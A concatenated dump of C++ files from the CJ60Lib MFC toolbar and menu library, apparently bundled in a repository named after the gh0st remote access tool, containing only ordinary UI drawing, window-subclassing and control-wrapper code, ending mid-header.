// white ==> Destintation (ie, transparent)
//
// 0xb8074a is the ROP code that does this. For more info, see Charles
// Petzold, _Programming Windows_, 2nd Edition, p 622-624.
//
#define TRANSPARENTROP 0xb8074a
//////////////////
// Draw an image with the embossed (disabled) look.
//
// dc device context to draw in
// il image list containing image
// i index of image to draw
// p point in dc to draw image at
// bColor do color embossing. Default is B/W.
//
void PLDrawEmbossed(CDC& dc, CImageList& il, int i,
CPoint p, BOOL bColor)
{
IMAGEINFO info;
VERIFY(il.GetImageInfo(0, &info));
CRect rc = info.rcImage;
int cx = rc.Width();
int cy = rc.Height();
// create memory dc
CDC memdc;
memdc.CreateCompatibleDC(&dc);
// create mono or color bitmap
CBitmap bm;
if (bColor)
bm.CreateCompatibleBitmap(&dc, cx, cy);
else
bm.CreateBitmap(cx, cy, 1, 1, NULL);
// draw image into memory DC--fill BG white first
CBitmap* pOldBitmap = memdc.SelectObject(&bm);
memdc.PatBlt(0, 0, cx, cy, WHITENESS);
il.Draw(&memdc, i, CPoint(0,0), ILD_TRANSPARENT);
// This seems to be required. Why, I don't know. ???
COLORREF colorOldBG = dc.SetBkColor(RGB(255,255,255)); // white
// Draw using hilite offset by (1,1), then shadow
CBrush brShadow(GetSysColor(COLOR_3DSHADOW));
CBrush brHilite(GetSysColor(COLOR_3DHIGHLIGHT));
CBrush* pOldBrush = dc.SelectObject(&brHilite);
dc.BitBlt(p.x+1, p.y+1, cx, cy, &memdc, 0, 0, TRANSPARENTROP);
dc.SelectObject(&brShadow);
dc.BitBlt(p.x, p.y, cx, cy, &memdc, 0, 0, TRANSPARENTROP);
dc.SelectObject(pOldBrush);
dc.SetBkColor(colorOldBG); // restore
memdc.SelectObject(pOldBitmap); // ...
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CoolMenu.cpp | C++ | asf20 | 34,444 |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_)
#define AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers
#include <afxwin.h> // MFC core and standard components
#include <afxext.h> // MFC extensions
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxole.h> // MFC OLE classes
#include <afxodlgs.h> // MFC OLE dialog classes
#include <afxdisp.h> // MFC Automation classes
#endif // _AFX_NO_OLE_SUPPORT
#ifndef _AFX_NO_DB_SUPPORT
#include <afxdb.h> // MFC ODBC database classes
#endif // _AFX_NO_DB_SUPPORT
#ifndef _AFX_NO_DAO_SUPPORT
#include <afxdao.h> // MFC DAO database classes
#endif // _AFX_NO_DAO_SUPPORT
#if _MSC_VER >= 1200 // VC6
#include <afxdtctl.h> // MFC support for Internet Explorer 4 Common Controls
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT
#ifndef TB_SETEXTENDEDSTYLE
// You can download the platform SDK from microsoft's site:
// http://msdn.microsoft.com/developer/sdk/default.htm
#error CJ60Lib requires a newer version of the SDK than you have!
#endif
#include <afxpriv.h>
#include <afxtempl.h>
#include <..\src\mfc\afximpl.h>
#define AFX_IDW_SIZEBAR_LEFT AFX_IDW_DOCKBAR_LEFT + 4
#define AFX_IDW_SIZEBAR_RIGHT AFX_IDW_DOCKBAR_RIGHT + 5
#define AFX_IDW_SIZEBAR_TOP AFX_IDW_DOCKBAR_TOP + 6
#define AFX_IDW_SIZEBAR_BOTTOM AFX_IDW_DOCKBAR_BOTTOM + 7
const DWORD dwSizeBarMap[4][2] =
{
{ AFX_IDW_SIZEBAR_TOP, CBRS_TOP },
{ AFX_IDW_SIZEBAR_BOTTOM, CBRS_BOTTOM },
{ AFX_IDW_SIZEBAR_LEFT, CBRS_LEFT },
{ AFX_IDW_SIZEBAR_RIGHT, CBRS_RIGHT },
};
#define safe_delete(p){if(p){delete p;p=NULL;}}
#include "Globals.h"
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_)
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/stdafx.h | C | asf20 | 2,313 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CSubclassWnd is a generic class for hooking another window's messages.
#include "StdAfx.h"
#include "Subclass.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//////////////////
// The message hook map is derived from CMapPtrToPtr, which associates
// a pointer with another pointer. It maps an HWND to a CSubclassWnd, like
// the way MFC's internal maps map HWND's to CWnd's. The first CSubclassWnd
// attached to a window is stored in the map; all other CSubclassWnd's for that
// window are then chained via CSubclassWnd::m_pNext.
//
class CSubclassWndMap : private CMapPtrToPtr {
public:
CSubclassWndMap();
~CSubclassWndMap();
static CSubclassWndMap& GetHookMap();
void Add(HWND hwnd, CSubclassWnd* pSubclassWnd);
void Remove(CSubclassWnd* pSubclassWnd);
void RemoveAll(HWND hwnd);
CSubclassWnd* Lookup(HWND hwnd);
};
// This trick is used so the hook map isn't
// instantiated until someone actually requests it.
//
#define theHookMap (CSubclassWndMap::GetHookMap())
IMPLEMENT_DYNAMIC(CSubclassWnd, CWnd);
CSubclassWnd::CSubclassWnd()
{
m_pNext = NULL;
m_pOldWndProc = NULL;
m_hWnd = NULL;
}
CSubclassWnd::~CSubclassWnd()
{
if (m_hWnd)
HookWindow((HWND)NULL); // unhook window
}
//////////////////
// Hook a window.
// This installs a new window proc that directs messages to the CSubclassWnd.
// pWnd=NULL to remove.
//
BOOL CSubclassWnd::HookWindow(HWND hwnd)
{
ASSERT_VALID(this);
if (hwnd) {
// Hook the window
ASSERT(m_hWnd==NULL);
ASSERT(::IsWindow(hwnd));
theHookMap.Add(hwnd, this); // Add to map of hooks
} else if (m_hWnd) {
// Unhook the window
theHookMap.Remove(this); // Remove from map
m_pOldWndProc = NULL;
}
m_hWnd = hwnd;
return TRUE;
}
//////////////////
// Window proc-like virtual function which specific CSubclassWnds will
// override to do stuff. Default passes the message to the next hook;
// the last hook passes the message to the original window.
// You MUST call this at the end of your WindowProc if you want the real
// window to get the message. This is just like CWnd::WindowProc, except that
// a CSubclassWnd is not a window.
//
LRESULT CSubclassWnd::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
// ASSERT_VALID(this); // removed for speed
ASSERT(m_pOldWndProc);
return m_pNext ? m_pNext->WindowProc(msg, wp, lp) :
::CallWindowProc(m_pOldWndProc, m_hWnd, msg, wp, lp);
}
//////////////////
// Like calling base class WindowProc, but with no args, so individual
// message handlers can do the default thing. Like CWnd::Default
//
LRESULT CSubclassWnd::Default()
{
// MFC stores current MSG in thread state
MSG& curMsg = AfxGetThreadState()->m_lastSentMsg;
// Note: must explicitly call CSubclassWnd::WindowProc to avoid infinte
// recursion on virtual function
return CSubclassWnd::WindowProc(curMsg.message, curMsg.wParam, curMsg.lParam);
}
#ifdef _DEBUG
void CSubclassWnd::AssertValid() const
{
CObject::AssertValid();
ASSERT(m_hWnd==NULL || ::IsWindow(m_hWnd));
if (m_hWnd) {
for (CSubclassWnd* p = theHookMap.Lookup(m_hWnd); p; p=p->m_pNext) {
if (p==this)
break;
}
ASSERT(p); // should have found it!
}
}
void CSubclassWnd::Dump(CDumpContext& dc) const
{
CObject::Dump(dc);
}
#endif
//////////////////
// Subclassed window proc for message hooks. Replaces AfxWndProc (or whatever
// else was there before.)
//
LRESULT CALLBACK
HookWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
#ifdef _USRDLL
// If this is a DLL, need to set up MFC state
AFX_MANAGE_STATE(AfxGetStaticModuleState());
#endif
// Set up MFC message state just in case anyone wants it
// This is just like AfxCallWindowProc, but we can't use that because
// a CSubclassWnd is not a CWnd.
//
MSG& curMsg = AfxGetThreadState()->m_lastSentMsg;
MSG oldMsg = curMsg; // save for nesting
curMsg.hwnd = hwnd;
curMsg.message = msg;
curMsg.wParam = wp;
curMsg.lParam = lp;
// Get hook object for this window. Get from hook map
CSubclassWnd* pSubclassWnd = theHookMap.Lookup(hwnd);
ASSERT(pSubclassWnd);
LRESULT lr;
if (msg==WM_NCDESTROY) {
// Window is being destroyed: unhook all hooks (for this window)
// and pass msg to orginal window proc
//
WNDPROC wndproc = pSubclassWnd->m_pOldWndProc;
theHookMap.RemoveAll(hwnd);
lr = ::CallWindowProc(wndproc, hwnd, msg, wp, lp);
} else {
// pass to msg hook
lr = pSubclassWnd->WindowProc(msg, wp, lp);
}
curMsg = oldMsg; // pop state
return lr;
}
////////////////////////////////////////////////////////////////
// CSubclassWndMap implementation
//
CSubclassWndMap::CSubclassWndMap()
{
}
CSubclassWndMap::~CSubclassWndMap()
{
// This assert bombs when posting WM_QUIT, so I've deleted it.
// ASSERT(IsEmpty()); // all hooks should be removed!
}
//////////////////
// Get the one and only global hook map
//
CSubclassWndMap& CSubclassWndMap::GetHookMap()
{
// By creating theMap here, C++ doesn't instantiate it until/unless
// it's ever used! This is a good trick to use in C++, to
// instantiate/initialize a static object the first time it's used.
//
static CSubclassWndMap theMap;
return theMap;
}
/////////////////
// Add hook to map; i.e., associate hook with window
//
void CSubclassWndMap::Add(HWND hwnd, CSubclassWnd* pSubclassWnd)
{
ASSERT(hwnd && ::IsWindow(hwnd));
// Add to front of list
pSubclassWnd->m_pNext = Lookup(hwnd);
SetAt(hwnd, pSubclassWnd);
if (pSubclassWnd->m_pNext==NULL) {
// If this is the first hook added, subclass the window
pSubclassWnd->m_pOldWndProc =
(WNDPROC)SetWindowLong(hwnd, GWL_WNDPROC, (DWORD)HookWndProc);
} else {
// just copy wndproc from next hook
pSubclassWnd->m_pOldWndProc = pSubclassWnd->m_pNext->m_pOldWndProc;
}
ASSERT(pSubclassWnd->m_pOldWndProc);
}
//////////////////
// Remove hook from map
//
void CSubclassWndMap::Remove(CSubclassWnd* pUnHook)
{
HWND hwnd = pUnHook->m_hWnd;
ASSERT(hwnd && ::IsWindow(hwnd));
CSubclassWnd* pHook = Lookup(hwnd);
ASSERT(pHook);
if (pHook==pUnHook) {
// hook to remove is the one in the hash table: replace w/next
if (pHook->m_pNext)
SetAt(hwnd, pHook->m_pNext);
else {
// This is the last hook for this window: restore wnd proc
RemoveKey(hwnd);
SetWindowLong(hwnd, GWL_WNDPROC, (DWORD)pHook->m_pOldWndProc);
}
} else {
// Hook to remove is in the middle: just remove from linked list
while (pHook->m_pNext!=pUnHook)
pHook = pHook->m_pNext;
ASSERT(pHook && pHook->m_pNext==pUnHook);
pHook->m_pNext = pUnHook->m_pNext;
}
}
//////////////////
// Remove all the hooks for a window
//
void CSubclassWndMap::RemoveAll(HWND hwnd)
{
CSubclassWnd* pSubclassWnd;
while ((pSubclassWnd = Lookup(hwnd))!=NULL)
pSubclassWnd->HookWindow((HWND)NULL); // (unhook)
}
/////////////////
// Find first hook associate with window
//
CSubclassWnd* CSubclassWndMap::Lookup(HWND hwnd)
{
CSubclassWnd* pFound = NULL;
if (!CMapPtrToPtr::Lookup(hwnd, (void*&)pFound))
return NULL;
ASSERT_KINDOF(CSubclassWnd, pFound);
return pFound;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Subclass.cpp | C++ | asf20 | 7,485 |
// CJPagerCtrl.cpp : implementation file
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 02 Oct 1998 - First release version.
// 1.01 02 Jan 1999 - Cleaned up class source, wrapped all pager
// messages.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CJPagerCtrl.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCJPagerCtrl
CCJPagerCtrl::CCJPagerCtrl()
{
static BOOL bInit = FALSE;
if (!bInit) {
INITCOMMONCONTROLSEX sex;
sex.dwSize = sizeof(INITCOMMONCONTROLSEX);
sex.dwICC = ICC_PAGESCROLLER_CLASS|ICC_BAR_CLASSES;
::InitCommonControlsEx(&sex);
bInit = TRUE;
}
}
CCJPagerCtrl::~CCJPagerCtrl()
{
}
BEGIN_MESSAGE_MAP(CCJPagerCtrl, CWnd)
//{{AFX_MSG_MAP(CCJPagerCtrl)
ON_NOTIFY_REFLECT_EX(PGN_SCROLL, OnPagerScroll)
ON_NOTIFY_REFLECT_EX(PGN_CALCSIZE, OnPagerCalcSize)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
BOOL CCJPagerCtrl::Create(DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID)
{
return CWnd::Create(WC_PAGESCROLLER, NULL,
dwStyle, CRect(0,0,0,0), pParentWnd, nID);
}
/////////////////////////////////////////////////////////////////////////////
// CCJPagerCtrl message handlers
BOOL CCJPagerCtrl::OnPagerCalcSize(NMHDR * pNMHDRPGCalcSize, LRESULT* pResult)
{
NMPGCALCSIZE *pNMPGCalcSize = (NMPGCALCSIZE *)pNMHDRPGCalcSize;
switch(pNMPGCalcSize->dwFlag)
{
case PGF_CALCWIDTH:
pNMPGCalcSize->iWidth = m_nWidth;
break;
case PGF_CALCHEIGHT:
pNMPGCalcSize->iHeight = m_nHeight;
break;
}
*pResult = 0;
return FALSE; // Let parent handle message
}
BOOL CCJPagerCtrl::OnPagerScroll(NMHDR* pNMPGScroll, LRESULT* pResult)
{
*pResult = 0;
return FALSE; // Let parent handle message
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJPagerCtrl.cpp | C++ | asf20 | 3,832 |
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by CJ60Lib.rc
//
#define IDS_HIDE 5000
#define IDS_EXPAND 5001
#define IDS_CONTRACT 5002
#define IDB_BUTTON_IMAGES 5003
#define IDC_TABCTRLBAR 5003
#define IDR_CBAR_POPUP 5004
#define IDC_URL_CODEJOCKEY 5005
#define IDB_BTN_EXPLORER 5006
#define IDM_CBAR_MENU 5007
#define IDC_BUTTON_HIDE 5008
#define IDC_BUTTON_MINI 5009
#define IDC_BAR_BUTTON 5010
#define IDC_BAR_CAPTION 5011
#define IDB_BTN_ARROW 5012
#define IDC_VSPLITBAR 5015
#define IDC_HSPLITBAR 5016
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 5017
#define _APS_NEXT_COMMAND_VALUE 5012
#define _APS_NEXT_CONTROL_VALUE 5012
#define _APS_NEXT_SYMED_VALUE 5012
#endif
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/resource.h | C | asf20 | 1,148 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __COOLBAR_H
#define __COOLBAR_H
//////////////////
// CCoolBar encapsulates IE common coolbar (rebar) for MFC. To use it,
//
// * derive your own CMyCoolBar from CCoolBar
// * implement OnCreateBands to create whatever bands you want
// * instantiate CMyCoolBar in your frame window as you would a toolbar
// * create and load it, etc from CMainFrame::OnCreate
//
// See MBTest for example of how to use.
//
class AFX_EXT_CLASS CCoolBar : public CControlBar {
public:
CCoolBar();
virtual ~CCoolBar();
BOOL Create(CWnd* pParentWnd, DWORD dwStyle,
DWORD dwAfxBarStyle = CBRS_ALIGN_TOP,
UINT nID = AFX_IDW_TOOLBAR);
// message wrappers
BOOL GetBarInfo(LPREBARINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_GETBARINFO, 0, (LPARAM)lp); }
BOOL SetBarInfo(LPREBARINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_SETBARINFO, 0, (LPARAM)lp); }
BOOL GetBandInfo(int iBand, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_GETBANDINFO, iBand, (LPARAM)lp); }
BOOL SetBandInfo(int iBand, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_SETBANDINFO, iBand, (LPARAM)lp); }
BOOL InsertBand(int iWhere, LPREBARBANDINFO lp)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_INSERTBAND, (WPARAM)iWhere, (LPARAM)lp); }
BOOL DeleteBand(int nWhich)
{ ASSERT(::IsWindow(m_hWnd));
return (BOOL)SendMessage(RB_DELETEBAND, (WPARAM)nWhich); }
int GetBandCount()
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETBANDCOUNT); }
int GetRowCount()
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETROWCOUNT); }
int GetRowHeight(int nWhich)
{ ASSERT(::IsWindow(m_hWnd));
return (int)SendMessage(RB_GETROWHEIGHT, (WPARAM)nWhich); }
// Call these handy functions from your OnCreateBands to do stuff
// more easily than the Windows way.
//
BOOL InsertBand(CWnd* pWnd, CSize szMin, int cx = 0,
LPCTSTR lpText=NULL, int iWhere=-1, BOOL bNewRow =FALSE);
void SetColors(COLORREF clrFG, COLORREF clrBG);
void SetBackgroundBitmap(CBitmap* pBitmap);
void Invalidate(BOOL bErase = TRUE); // invalidates children too
static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code
protected:
// YOU MUST OVERRIDE THIS in your derived class to create bands.
virtual BOOL OnCreateBands() = 0; // return -1 if failed
// Virtual fn called when the coolbar height changes as a result of moving
// bands around. Override only if you want to do something different.
virtual void OnHeightChange(const CRect& rcNew);
// overrides to fix problems w/MFC. No need to override yourself.
virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz);
virtual CSize CalcDynamicLayout(int nLength, DWORD nMode);
virtual void OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler);
// message handlers
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
afx_msg void OnPaint();
afx_msg void OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
DECLARE_MESSAGE_MAP()
DECLARE_DYNAMIC(CCoolBar)
};
//////////////////
// Programmer-friendly REBARINFO initializes itself.
//
class AFX_EXT_CLASS CRebarInfo : public REBARINFO {
public:
CRebarInfo() {
memset(this, 0, sizeof(REBARINFO));
cbSize = sizeof(REBARINFO);
}
};
//////////////////
// Programmer-friendly REBARBANDINFO initializes itself.
//
class AFX_EXT_CLASS CRebarBandInfo : public REBARBANDINFO {
public:
CRebarBandInfo() {
memset(this, 0, sizeof(REBARBANDINFO));
cbSize = sizeof(REBARBANDINFO);
}
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/CoolBar.h | C++ | asf20 | 3,918 |
////////////////////////////////////////////////////////////////
// 1998 Microsoft Systems Journal
//
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __MODULEVER_H
#define __MODULEVER_H
#undef _INC_SHLWAPI
#undef NOSHLWAPI
#include <shlwapi.h>
// tell linker to link with version.lib for VerQueryValue, etc.
#pragma comment(linker, "/defaultlib:version.lib")
#ifndef DLLVER_PLATFORM_WINDOWS
#error ModuleVer.h requires a newer version of the SDK than you have!
#error Please update your SDK files.
#endif
//////////////////
// This class loads a library. Destructor frees for automatic cleanup.
//
class AFX_EXT_CLASS CLoadLibrary {
private:
HINSTANCE m_hinst;
public:
CLoadLibrary(LPCTSTR lpszName) : m_hinst(LoadLibrary(lpszName)) { }
~CLoadLibrary() { FreeLibrary(m_hinst); }
operator HINSTANCE () { return m_hinst; } // cast operator
};
//////////////////
// CModuleVersion version info about a module.
// To use:
//
// CModuleVersion ver
// if (ver.GetFileVersionInfo("_T("mymodule))) {
// // info is in ver, you can call GetValue to get variable info like
// CString s = ver.GetValue(_T("CompanyName"));
// }
//
// You can also call the static fn DllGetVersion to get DLLVERSIONINFO.
//
class AFX_EXT_CLASS CModuleVersion : public VS_FIXEDFILEINFO {
protected:
BYTE* m_pVersionInfo; // all version info
struct TRANSLATION {
WORD langID; // language ID
WORD charset; // character set (code page)
} m_translation;
public:
CModuleVersion();
virtual ~CModuleVersion();
BOOL GetFileVersionInfo(LPCTSTR modulename);
CString GetValue(LPCTSTR lpKeyName);
static BOOL DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi);
};
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Include/ModulVer.h | C++ | asf20 | 1,787 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef __FLATBAR_H
#define __FLATBAR_H
#ifndef TB_SETEXTENDEDSTYLE
#error FlatBar.h requires a newer version of the SDK than you have!
#error Please update your SDK files.
#endif
#include "FixTB.h"
// fwd ref
struct DROPDOWNBUTTON;
#define CFlatToolBarBase CFixMFCToolBar
//////////////////
// CFlatToolbar is a drop-in replacement for CToolBar that supports
// flat-style buttons and gripper handles. Use instead of CToolBar in your
// CMainFrame. CFlatTooBar's don'tK actually have to have the flat style,
// but they do by default. If you don't want the flat look, you can call
// ModifyStyle(TBSTYLE_FLAT, 0);
//
// CFlatToolBar overcomes various MFC drawing bugs that cause it not to work
// with flat-style buttons. CFlatToolBar Can also used inside a coolbar
// (unlike CToolBar).
//
// CFlatToolBar has other good stuff too, like an easy way to handle drop-down
// buttons--See MBTest for example how to use.
//
class AFX_EXT_CLASS CFlatToolBar : public CFlatToolBarBase {
public:
CFlatToolBar();
virtual ~CFlatToolBar();
static BOOL bTRACE; // to see TRACE diagnostics
// set these before creation:
BOOL m_bDrawDisabledButtonsInColor; // draw disabled buttons in color
BOOL m_bInCoolBar; // set if flatbar is inside coolbar
// You must call one of these to get the flat look; if not, you must
// set TBSTYLE_FLAT yourself.
BOOL LoadToolBar(LPCTSTR lpszResourceName);
BOOL LoadToolBar(UINT nIDResource)
{ return LoadToolBar(MAKEINTRESOURCE(nIDResource)); }
// call to add drop-down buttons
BOOL AddDropDownButton(UINT nIDButton, UINT nIDMenu, BOOL bArrow);
// Use these to get/set the flat style. By default, LoadToolBar calls
// SetFlatStyle(TRUE); if you create some other way, you must call it
// yourself.
BOOL SetFlatStyle(BOOL bFlat) {
return ModifyStyle(bFlat ? 0 : TBSTYLE_FLAT, bFlat ? TBSTYLE_FLAT : 0);
}
BOOL GetFlatStyle() {
return (GetStyle() & TBSTYLE_FLAT)!=0;
}
// silly function to fake out compiler with const-ness
LRESULT SendMessageC(UINT m, WPARAM wp=0, LPARAM lp=0) const
{ return ((CFixMFCToolBar*)this)->SendMessage(m, wp, lp); }
// Wrappers that are not in MFC but should be;
// I copied these from CToolBarCtrl
BOOL EnableButton(int nID, BOOL bEnable)
{ return SendMessage(TB_ENABLEBUTTON, nID, MAKELPARAM(bEnable, 0)); }
BOOL CheckButton(int nID, BOOL bCheck)
{ return SendMessage(TB_CHECKBUTTON, nID, MAKELPARAM(bCheck, 0)); }
BOOL PressButton(int nID, BOOL bPress)
{ return SendMessage(TB_PRESSBUTTON, nID, MAKELPARAM(bPress, 0)); }
BOOL HideButton(int nID, BOOL bHide)
{ return SendMessage(TB_HIDEBUTTON, nID, MAKELPARAM(bHide, 0)); }
BOOL Indeterminate(int nID, BOOL bIndeterminate)
{ return SendMessage(TB_INDETERMINATE, nID, MAKELPARAM(bIndeterminate, 0)); }
BOOL IsButtonEnabled(int nID) const
{ return SendMessageC(TB_ISBUTTONENABLED, nID); }
BOOL IsButtonChecked(int nID) const
{ return SendMessageC(TB_ISBUTTONCHECKED, nID); }
BOOL IsButtonPressed(int nID) const
{ return SendMessageC(TB_ISBUTTONPRESSED, nID); }
BOOL IsButtonHidden(int nID) const
{ return SendMessageC(TB_ISBUTTONHIDDEN, nID); }
BOOL IsButtonIndeterminate(int nID) const
{ return SendMessageC(TB_ISBUTTONINDETERMINATE, nID); }
BOOL SetState(int nID, UINT nState)
{ return SendMessage(TB_SETSTATE, nID, MAKELPARAM(nState, 0)); }
int GetState(int nID) const
{ return SendMessageC(TB_GETSTATE, nID); }
BOOL AddButtons(int nNumButtons, LPTBBUTTON lpButtons)
{ return SendMessage(TB_ADDBUTTONS, nNumButtons, (LPARAM)lpButtons); }
BOOL InsertButton(int nIndex, LPTBBUTTON lpButton)
{ return SendMessage(TB_INSERTBUTTON, nIndex, (LPARAM)lpButton); }
BOOL DeleteButton(int nIndex)
{ return SendMessage(TB_DELETEBUTTON, nIndex); }
int GetButtonCount() const
{ return SendMessageC(TB_BUTTONCOUNT); }
UINT CommandToIndex(UINT nID) const
{ return SendMessageC(TB_COMMANDTOINDEX, nID); }
void Customize()
{ SendMessage(TB_CUSTOMIZE, 0, 0L); }
int AddStrings(LPCTSTR lpszStrings)
{ return SendMessage(TB_ADDSTRING, 0, (LPARAM)lpszStrings); }
void SetButtonStructSize(int nSize)
{ SendMessage(TB_BUTTONSTRUCTSIZE, nSize); }
BOOL SetButtonSize(CSize sz)
{ return SendMessage(TB_SETBUTTONSIZE, 0, MAKELPARAM(sz.cx, sz.cy)); }
BOOL SetBitmapSize(CSize sz)
{ return SendMessage(TB_SETBITMAPSIZE, 0, MAKELPARAM(sz.cx, sz.cy)); }
void AutoSize()
{ SendMessage(TB_AUTOSIZE); }
CToolTipCtrl* GetToolTips() const
{ return (CToolTipCtrl*)CWnd::FromHandle((HWND)SendMessageC(TB_GETTOOLTIPS)); }
void SetToolTips(CToolTipCtrl* pTip)
{ SendMessage(TB_SETTOOLTIPS, (WPARAM)pTip->m_hWnd); }
// NO!!!--this is not the same as the MFC owner
// void SetOwner(CWnd* pWnd)
// { SendMessage(TB_SETPARENT, (WPARAM)pWnd->m_hWnd); }
void SetRows(int nRows, BOOL bLarger, LPRECT lpRect)
{ SendMessage(TB_SETROWS, MAKELPARAM(nRows, bLarger), (LPARAM)lpRect); }
int GetRows() const
{ return (int) SendMessageC(TB_GETROWS); }
BOOL SetCmdID(int nIndex, UINT nID)
{ return SendMessage(TB_SETCMDID, nIndex, nID); }
UINT GetBitmapFlags() const
{ return (UINT) SendMessageC(TB_GETBITMAPFLAGS); }
// Wrappers for some of the newer messages--not complete
BOOL SetIndent(int indent)
{ return SendMessage(TB_SETINDENT, indent); }
HIMAGELIST GetImageList() const
{ return (HIMAGELIST)SendMessageC(TB_GETIMAGELIST); }
HIMAGELIST SetImageList(HIMAGELIST hImgList)
{ return (HIMAGELIST)SendMessage(TB_SETIMAGELIST, 0, (LPARAM)hImgList); }
HIMAGELIST GetHotImageList() const
{ return (HIMAGELIST)SendMessageC(TB_GETHOTIMAGELIST); }
HIMAGELIST SetHotImageList(HIMAGELIST hImgList)
{ return (HIMAGELIST)SendMessage(TB_SETHOTIMAGELIST, 0, (LPARAM)hImgList); }
int GetBitmap(UINT nIdButton) const
{ return SendMessageC(TB_GETBITMAP, nIdButton); }
DWORD SetExtendedStyle(DWORD dwStyle)
{ return SendMessage(TB_SETEXTENDEDSTYLE, 0, dwStyle); }
BOOL GetRect(UINT nIdButton, RECT& rc) const
{ return SendMessageC(TB_GETRECT, nIdButton, (LPARAM)&rc); }
DWORD GetToolbarStyle() const
{ return SendMessageC(TB_GETSTYLE); }
void SetToolbarStyle(DWORD dwStyle)
{ SendMessage(TB_SETSTYLE, 0, dwStyle); }
int HitTest(CPoint p) const
{ return SendMessageC(TB_HITTEST, 0, (LPARAM)&p); }
int GetHotItem() const
{ return SendMessageC(TB_GETHOTITEM); }
void SetHotItem(int iHot)
{ SendMessage(TB_SETHOTITEM, iHot); }
BOOL MapAccelerator(TCHAR ch, UINT& nID) const
{ return SendMessageC(TB_MAPACCELERATOR, (WPARAM)ch, (LPARAM)&nID); }
CSize GetPadding() const
{ return SendMessageC(TB_GETPADDING); }
CSize SetPadding(CSize sz)
{ return SendMessage(TB_SETPADDING, 0, MAKELPARAM(sz.cx,sz.cy)); }
protected:
CRect m_rcOldPos; // used when toolbar is moved
DROPDOWNBUTTON* m_pDropDownButtons; // list of dropdown button/menu pairs
BOOL m_bNoEntry; // implementation hack
// override to do your own weird drop-down buttons
virtual void OnDropDownButton(const NMTOOLBAR& nmtb, UINT nID, CRect rc);
